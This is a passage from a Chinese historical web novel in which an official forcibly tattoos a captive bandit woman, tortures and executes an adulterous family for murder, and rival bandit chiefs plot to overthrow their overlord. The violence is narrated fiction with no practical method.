因为常年打仗,兄弟们怕哪天战死,脑袋一旦掉了,家人都认不出哪具是自己家人。
久而久之,行伍里面流行了纹身,让兄弟给自己身上做记号。
哪天战死,家人也能通过记号认出自己,运回去安葬。
谁也不愿暴尸荒野。
幸运的话,也许能落叶归根。
宁乱总帮他们纹身,一来二去,也算有点手艺。
此时见大哥手艺不咋地,他的瘾头子上来了,搓着手,求大哥让他过过瘾。
见这货急不可耐,陈息一撇嘴:
“行行行,你来吧。”
听大哥允许,宁乱兴奋的嗷嗷叫,接过银针就开始表演。
还别说,手艺确实比陈息好,不一会的功夫,一朵火红娇艳的梅花成型。
陈息满意的点点头。
对嘛。
这才是梅花。
这货往下一瞅,除了肩膀处一朵梅花,下面光滑一片。
不能这样算了。
这么漂亮的背,不展示一下才艺,怎么能行?
这货见染料还余出很多,来了兴致:
“乱子,你给梅花上了色,大哥也不甘于人后。”
宁乱和胡伢子,不知道大哥要干啥,不过俩人跟他时间久,隐约感觉到大哥要使坏。
于是,一脸期盼的望着他。
白天千金大小姐喷衙门,就够拿出去当个笑话讲了。
没想到晚上也有节目。
陈息见两人兴奋的看着自己,决定给他俩表演一下。
风头不能让手下小弟抢了去,不然这个大哥咋混。
这货清了清嗓子:
“给我摁住她,不许乱动。”
“大哥要题一幅字。”
两人一听大哥要题字,眼睛同时一亮。
大哥的字,谁都见了都说好。
这娘们真有福气。
后背能让大哥题字,以后走到哪里都有面子。
“放心吧大哥,保准摁实诚了。”
宁乱连忙将银针递给大哥,一脸期待的看大哥表演。
陈息接过银针,坏点子立即来了。
当土匪有什么好。
一个女孩子家家的,我给你来首温柔婉转的词。
当然了,晦涩难懂的不行。
一眼就能看明白的。
小爷给你来首歌词。
第149章 今晚,还有一场好戏
拿着银针不得劲,不行,还得换回老本行。
回屋找出文房四宝。
研得了墨,添饱了笔。
抱元守一,屏气凝神。
在宁乱和胡伢子哥俩,满脸期待的目光下。
落笔。
刷刷点点。
先写下歌名。
《送情郎》
这货,看着歌名有了,怎能少了歌词?
微一抬腕,笔走龙蛇。
一不叫你忧来呀啊,二不叫你愁啊。
三不叫你穿错了,小妹妹的花兜兜啊。
小妹妹的兜兜,本是一个金锁链啊。
情郎哥的兜兜,八了宝他镀金钩啊。
小妹妹送我的郎呀。
哟哟。
......
我有心给我的郎,买上梨两个呀。
又想起身子虚,吃不得那凉东西呀。
......
一首送情郎,写的一气呵成,畅快淋漓!
最后,在她侧腰上,再画上个蓝章。
检疫合格!
这货见砚台里还有墨,捏着下巴看了一圈儿,实在是没地方下笔了。
这才悻悻作罢。
下面,交给宁乱上色。
又轮到了自己,宁乱高兴坏了,大哥的字漂亮,自己跟着描便是。
字。
他是一个不认识,但不影响他的积极性。
只要是大哥写的,肯定是好的。
陈息见他开始干活,自己倒杯茶,翘着二郎腿,舒舒服服倒在椅子上喝着。
宁乱这边开足了马力,银针嗷嗷往她背上扎。
突然。
这货歪愣着脑袋,往这边偷瞄一眼,见大哥没注意到他。
赶紧把扎错字的地方。
画个X。
然后,又一脸认真的继续工作。
从抓获梅儿开始,一直忙活到天亮,纹身总算完成。
宁乱找来抹布蘸水,将她后背擦洗干净。
看着自己的杰作,咧嘴一笑。
除了好几X之外。
其他都是对的!
然后按照大哥的吩咐,将她衣服穿好,五花大绑扔进地窖,命4个机灵的衙役严加看守。
忙完了一切,天光大亮。
陈息唤来陈一展,杨冲,来到作战室。
陈一展,正好将上一次的任务情况,汇报给陈息,他听完惊咦了一声。
原来佐家还有这些猫腻。
怪不得,偌大的佐家,被一个妇人把持。
看来白天有事做了。
等会在处理佐家,先将写好的战术战法,交给两人一人一份。
按照上面的制定,对应着地图。
给两人细致入微的讲解一遍。
直到他们全部听懂后,才让两人离开去准备。
而那只黄鹰送完了信回来,刚刚落在树杈,便被一箭射穿。
将黄鹰赏给胡伢子,允许他烤了吃。
山中走兽云中雁,陆地牛羊鹿尾尖。
这东西烧来吃,异常美味。
而胡伢子从小居住在草原,对这东西太了解了。
架上火堆就烧。
将一切安排妥当后,带着捕快衙役,将佐家上下老小,全部押来大堂。
二话不说,先是一顿板子侍候。
佐氏与何建跪在第一排,他们哪里能受得住这种大刑。
连连开口求饶,可完全不起效果。
越求饶越打,两人都昏迷了也不罢休。
凉水泼醒后,陈息开始审问:
“说说吧。”
“佐家老爷是**的,佐家小公子,到底是谁的野种?”
此话一出,两人呆立当场。
这等秘史,县尉大人是如何知晓的?
他们不知的是,陈一展带着寒龙军,已经将佐家渗透成了筛子。
甚至两人的床头话,都被寒龙军听的一清二楚。
州府来巡盐,也是何健去告的密。
陈一展将这些消息,都汇报给陈息后,才有了今天这一幕。
“县尉大人,冤枉啊,妾身从老爷死后,便为老爷守寡,哪里有什么野种。”
陈息嗤笑一声,不到黄河心不死。
守寡?
我看你守的哪门子寡。
对着衙役吩咐道:
“去把府里臜婆叫来。”
“是,大人。”
衙役去喊人的时间,陈息继续开口:
“你不说得守寡么。”
“今天本官就要当面验身,我看你这几天有没有行房。”
这一句话,可把佐氏与何健吓傻了。
他俩,这几天就没闲着,天天行房,哪里经得住臜婆验身。
脸上的汗都下来了,哆嗦着身子求饶:
“大**人,妾身......妾身......”
佐氏干着急,想不出狡辩理由。
当着面撒谎,她还没有那份心理素质。
陈息可没给她辩解机会,一指衙役:
“将男的押出去单独审问,狠狠上刑,直到说出实话为止。”
何健一见事情不妙,还要上刑?
自己这小身板,哪里受得住。
趴在地上狠劲磕头,哭的声嘶力竭:
“大人冤枉啊,是这不守妇道的妇人,勾引小的,小的......小的也是被逼无奈啊...”
“求大人为小的做主,铲除这恶妇......”
何健一边哭喊,一边指着佐氏,大骂她勾引自己。
佐氏见自己孩儿的生父都靠不住,心如死灰。
一双眼睛发出恶毒的光。
好。
既然你不愿同我一起,那谁都别想好了。
佐氏开口,将事情的前因后果,全部交代出来。
原来,佐家大夫人自从生了佐千千之后,便再也没有怀孕。
佐氏也同样如此,她怀疑老爷那方面不行。
又见佐家只有一个女儿,感觉机会来了,只要能为老爷
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诞下男丁,便能上位侵吞家产。
后发现府中长工何健,模样长得俊俏,嘴巴也甜。
深思一番后,向他表明心思。
她的想法,正好与好逸恶劳的何健,不谋而合。
两人苟合没多久,佐氏怀孕,在佐家无微不至照料下,顺利诞下男丁。
老爷老来得子,大喜过望。
一点点扶正佐氏的地位。
从一个小妾,一步变成妻子。
男丁一点点长大,由于不是佐家老爷亲生的,长相越来越像何健。
两人怕丑事暴露,一不做二不休。
喂下佐家老爷**,又买通衙门仵作,声称老爷急症而死。
这个年代,人都吃不饱饭,谁会在乎一个商贾之死。
按寿终正寝,将佐家老爷下葬。
再之后,便出现赶走佐千千一事。
佐氏一口气把秘史全说了。
而她交代完这一切,佐千千从一旁小门走了出来。
眼中早已布满血丝,上去就抓住佐氏头发,疯狂扇她耳光:
“**,贼人,你这恶妇,是你害死我爹的......”
陈息不开口,衙役不敢拦着,任由佐千千发泄。
一炷香后,佐氏被佐千千扇的面目全非,奄奄一息。
佐千千发泄够了,又去打何健。
打骂了许久,她渐渐的没力气了,陈息才从官椅上起身,轻轻拉住她手腕,温声安慰:
“差不多了,别累坏了身子。”
陈息见她手掌都扇肿了,生怕这丫头伤个好歹。
见陈大哥拽着自己,佐千千似乎找到依靠,一头扎在他怀里,放声痛哭。
陈息将她搂在怀里,一言不发。
这个时候,说什么都没用。
只有将负面情绪发泄够了,才算解开她心中的结。
哭了很久,许是累了,佐千千在陈息怀中睡着。
见她睡着,陈息心疼的抱起她,径直回内宅,临走时留下一句:
“佐氏一家三口,全部杀头,其余家丁押着,等佐千千醒来再做决定。”
“是!”
陈息怕佐千千心软,留下那男孩,这样的话,后面必定埋了个隐患。
杀父杀母之仇,对方又是个男孩,岂能不报?
趁他睡着,索性一并杀了。
冤冤相报,此时就了。
管你有没有错,将一切隐患,扼杀在摇篮之中。
县尉爷有令,衙役立即动手,拖出去就将三人斩了。
其余家丁全部下狱,等待佐家新主人,决定他们的生死。
陈息将佐千千安顿在内间,唤来几个丫鬟侍候着,吩咐丫鬟,等佐千千醒了,立即来喊自己。
丫鬟又是为她擦手擦脸,又是盖被子,照顾很是周到。
这边安排好了,陈息找间没人的屋子休息。
他要养精蓄锐。
今晚,还有一场好戏。
第150章 吞窑
猛虎寨。
聚义厅。
张梁穿着一身熊皮大氅,坐在首位,手中拿着一张字条:
“人都到齐了,哥几个都瞅瞅吧。”
有小匪立即将字条传下去,下座八张椅子,每张椅子上,都坐着一位当家的。
8人,挨个看了一遍字条,最后,再次传到张梁手中。
见他们都看完了,张梁将字条丢入火盆,燃尽。
“玉龙岭翻垛子,传来消息,让我们9个寨子出人,帮他们劫税银。”
“各位,怎么看?”
下面8位当家的,彼此对了一眼后,神情各异。
沉默半晌,一个穿着白色裘皮的阴柔男子,率先开口:
“当家的,青佛让我们出200人,那他们出多少啊?”
这句话问了等于白问,张梁轻哼一声,手指敲打着桌面:
“哼,青佛做事,啥时候跟我们透过底啊。”
“不过,以他以往的作风,出的人定比我们多。”
张梁说的是实话,以往每次与青佛合作,都是他们制定规则,完全没拿9个匪寨当回事。
玉龙岭出人最多,可到头来,还是他们干最脏的活,到掰花子时,还需看青佛心情。
心情好了,赏个仨瓜俩枣,心情不好,一个铜板都没有。
这都有过先例。
这时,下面有个脾气暴的当家的沉不住气了,一拍桌子:
“踏马的,又来这套。”
“真当哥几个是熊货了。”
“每次都给他打前哨,伤亡最多,花子拿的最少。”
“草!”
他一发牢骚不要紧,其余当家的也被说到心坎里了。
嘴里也没有把门的了,纷纷开口:
“草,真以为他还是原来的瓢把子了,上次窝窝村那边砸窑,没叫哥几个还不懂是什么意思么?”
“哈哈,他还能啥意思,不就是当着哥几个的面吞了府兵,敲打敲打我们么。”
“可惜啊,自己玩砸了,哈哈哈哈。”
“哈哈哈,提起上次那票头子,就踏马解气,狼逼玩意栽了个闷跟头,该!”
“诶诶,你还别说,这跟头他可栽冤**,不光折了弟兄,还让对头星给扒了皮,哈哈。”
张梁见他们没完没了,拍了下桌子:
“行了行了,都别扯犊子了,说说正事。”
见老大有些不耐烦,底下人才住声。
他们没了动静,阴柔男子嗤笑一声,又是他先开口:
“出人可以呀,但这次的红货,可不能像以往那么掰。”
说完话,阴柔男子眯缝着眼,瞟了一眼其余当家的:
“你们说呢。”
这句话问出来,其余人又有些蠢蠢欲动了:
“花舌子说的对,青佛如今没了白皮,同哥几个一样,还装他奶奶个哨子。”
“还拿哥几个当熊货耍,呸,真踏马当自己是个人物了。”
“这句话我认同,大哥不如给他们说声,这次掰红,咱们要拿对半。”
“没毛病,咱们出力比他们多,凭啥看他脸子。”
见下面又得吧起来没完,张梁再拍桌子:
“既然大家都想对半劈红,那就是同意出人了?”
张梁说的模棱两可,下面当家的没有主心骨,归根结底,这事还得老大说的算:
“老大你就说吧,哥几个全都应着。”
“对,咱们在这吵吵扒火的没用,当家的定盘吧。”
张梁闻言,微微一笑,青佛卷了梁子,反倒自己这边,合字齐整了。
以往,虽说他们9个寨子的老大是张梁,但上面还有尊佛镇着,大家开言都保留几分。
如今青佛栽了跟头,白皮没了,大家也没啥顾忌的了,都把憋了好久的气,撒了出来。
张梁见下面齐整了,都让自己拿主意,索性说出自己的想法,正好借此机会,干票大的:
“既然哥几个抬我,这盘,我可就定了啊?”
见老大还在客气,下面人不淡定了。
能从青佛手里拿5成红货,这可是从未出现过的。
一旦青佛应了,这白山县可就,不是他一家独大了。
以前弟兄们受的憋屈,全部能找回来:
“老大你就定吧,哥几个齐整。”
“对,不用顾及别的,老大怎么定,咱们怎么接。”
“正好,这阵子弟兄们憋坏了,对头星那边把绺子盯的严实,弟兄们都不敢下山,这次劫了威窑的红货,折折他的芒子。”
张梁知道最近风声紧,底下弟兄好久都没开张了,都憋着活动活动身子呢。
他呵呵一笑,没拿主意,反而开始拱火:
“对头星那边,尖儿亮局红,青佛就让我们出200人,哥几个还看不出来怎么回事么?”
这句话一出口,半晌,全场倒吸一口凉气。
他们刚才,全部从青
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佛的角度分析劫税银,可从没分析过衙门。
衙门最近募兵,实力自然不同以往,他们护送税银,兵力能弱么?
“**,老大,还真是这么回事。”
“妈蛋,我猜出来了,青佛在使横。”
“对的,这狼逼没安好心眼子,拿咱们当硬绺子使了。”
“踏马的********”
见大家情绪都上来了,张梁得意一笑,挥手止住众人的喝骂:
“青佛拿哥几个当硬绺子使,那咱们何不反其道而行之呢?”
众人一愣,反其道而行之?
啥意思?
哥几个脑袋不够用了,纷纷望向张梁。
张梁见他们不解,呵呵一笑,火已经拱到位了,索性不废话,直接开门见山:
“200人,咱们出。”
“但是,还有另一手准备。”
“你们听好,回去纠集所有能动弹的弟兄,带足亮尖子。”
“趁他病,要他命。”
“直杀玉龙岭!”
张梁说到此处,一拍桌子站起身来,一颗野心,丝毫不掩饰:
“正局的红,咱们不要。”
“管我叫声老大,我带大家捞一门偏局!”
这句话一出口,震惊全场。
直杀玉龙岭?
捞一门偏局?
老大这是要?
**。
他们此刻才想明白,张梁把他们叫来,商量的不是与青佛掰花子这么简单。
原来他是想。
杀佛占岭。
在场7人,呼吸加重,都直勾勾的盯着张梁。
只有一人,依旧保持淡定:
“咯咯咯。”
就在全场寂静时,花舌子笑了。
无一丝血色的白脸,搭配一双猩红的眼珠子,说话阴柔怪气:
“我白娘娘寨,接了!”
说罢,抬眼瞟了和自己要好的几个当家的,微微点了点头。
“飞狐寨,接了!”
“**寨,接了!”
......
一连气5个寨子,同时应声。
剩下几个摇摆不定的当家的,见大伙都应了,生死富贵一线间,狠狠一咬牙:
“老大,定盘吧!”
见他们都应了,张梁拍了三下手,青佛能坐的位置,我张梁,也想坐坐。
“**——”
冷眼一扫全场:
“都回去准备。”
“今晚。”
“吞窑!”